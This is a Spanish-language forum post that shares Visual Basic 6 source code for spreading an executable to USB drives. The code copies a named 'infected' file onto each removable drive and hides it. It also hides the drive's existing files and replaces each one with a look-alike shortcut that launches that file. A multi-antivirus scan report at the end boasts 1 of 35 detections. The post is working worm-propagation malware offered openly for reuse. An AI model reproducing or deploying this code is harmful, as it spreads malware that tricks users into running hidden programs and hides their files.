Necesitan agregar al proyecto la referencia de Microsoft Scripting Runtime (Proyecto > Referencias).
Código: Seleccionar todo
'USO: Call SpreadUSB(sMyPathEx, InfectedName)
'sMyPathEx: El directorio hacia el ejecutable principal (App.EXEname)
'InfectedName: El nombre dej ejecutable que será copiado al dispositivo USB (loquesea.exe)
Private Function DetectUSBDrivers() As String
Dim objDrive As Object
DetectUSBDrivers = ""
Const DRIVE_REMOVABLE = 1
For Each objDrive In CreateObject("Scripting.FileSystemObject").Drives
If objDrive.IsReady Then
If objDrive.DriveType = DRIVE_REMOVABLE And objDrive.Path <> "A:" Then
DetectUSBDrivers = DetectUSBDrivers & objDrive.Path & " <-> "
End If
End If
Next
End Function
Public Sub SpreadUSB(FilePath As String, FileNameDest As String)
Dim i As Long
Dim USBDrivers() As String
USBDrivers = Split(DetectUSBDrivers, " <-> ")
Dim sFile As String
For i = 0 To UBound(USBDrivers) - 1
sFile = Dir(USBDrivers(i) & "\*.*", vbDirectory + vbNormal)
Call FileCopy(FilePath, USBDrivers(i) & "\" & FileNameDest)
Call SetAttr(USBDrivers(i) & "\" & FileNameDest, vbHidden + vbReadOnly + vbSystem)
Do While sFile <> ""
If sFile <> FileNameDest And ExtStr(sFile, 2, "\") <> ".lnk" Then
Call CreateShortcut(USBDrivers(i) & "\" & FileNameDest, USBDrivers(i), sFile)
Call SetAttr(USBDrivers(i) & "\" & sFile, vbHidden + vbReadOnly + vbSystem)
End If
sFile = Dir
Loop
Next i
End Sub
Public Sub CreateShortcut(FilePath As String, DestPath As String, ShortcutName As String)
Dim Filesys As New FileSystemObject
Dim WshShell As Object
Dim oShellLink As Object
Set WshShell = CreateObject("WScript.Shell")
Set oShellLink = WshShell.CreateShortcut(DestPath & "\" & ShortcutName & ".lnk")
If Filesys.FileExists(oShellLink) Then Exit Sub
oShellLink.TargetPath = FilePath
oShellLink.IconLocation = "shell32.dll, 3" 'Puedes cambiar el icono del ejecutable con el ID del recurso en la libreria shell32.dll (o cualquier otro ejecutable)
oShellLink.WorkingDirectory = FilePath
oShellLink.Save
Set oShellLink = Nothing
Set WshShell = Nothing
End Sub
Function ExtStr(cadena As String, Opt As Long, caracter As String) As String
Dim FullName As String
FullName = Mid$(cadena, InStrRev(cadena, caracter) + 1)
Select Case Opt
Case 1
'Nombre
ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
Case 2
'Extension
ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
Case 3
'Nombre + Extension
ExtStr = FullName
End Select
End Function
File Name: Proyecto1.exe
SHA1: cf191d3de45c06f4b6bf0202b78133444a08504b
MD5: 7a16fd3577d5ae8eaea3c023b49fab02
Date and Time: 23-06-13,04:18:57
Report Generated by [Enlace externo eliminado para invitados]
File Size: 12288 Bytes
Detection: 1 of 35
Detections:
AVG FreeClean
ArcaVirClean
AvastClean
AntiVir (Avira)Clean
BitDefenderClean
VirusBuster Internet SecurityClean
Clam AntivirusClean
COMODO Internet SecurityClean
Dr.WebClean
eTrust-VetClean
F-PROT AntivirusClean
F-Secure Internet SecurityClean
G DataClean
IKARUS SecurityClean
Kaspersky AntivirusClean
McAfeeClean
MS Security EssentialsClean
ESET NOD32Clean
NormanClean
Norton AntivirusClean
Panda SecurityClean
A-SquaredClean
Quick Heal AntivirusSuspicious
Solo AntivirusClean
SophosClean
Trend Micro Internet SecurityClean
VBA32 AntivirusClean
Zoner AntiVirusClean
Ad-AwareClean
BullGuardClean
Immunet AntivirusClean
K7 UltimateClean
NANO AntivirusClean
Panda CommandLineClean
VIPREClean
Eso es todo bros, espero que a alguien le sirva.
Saludos.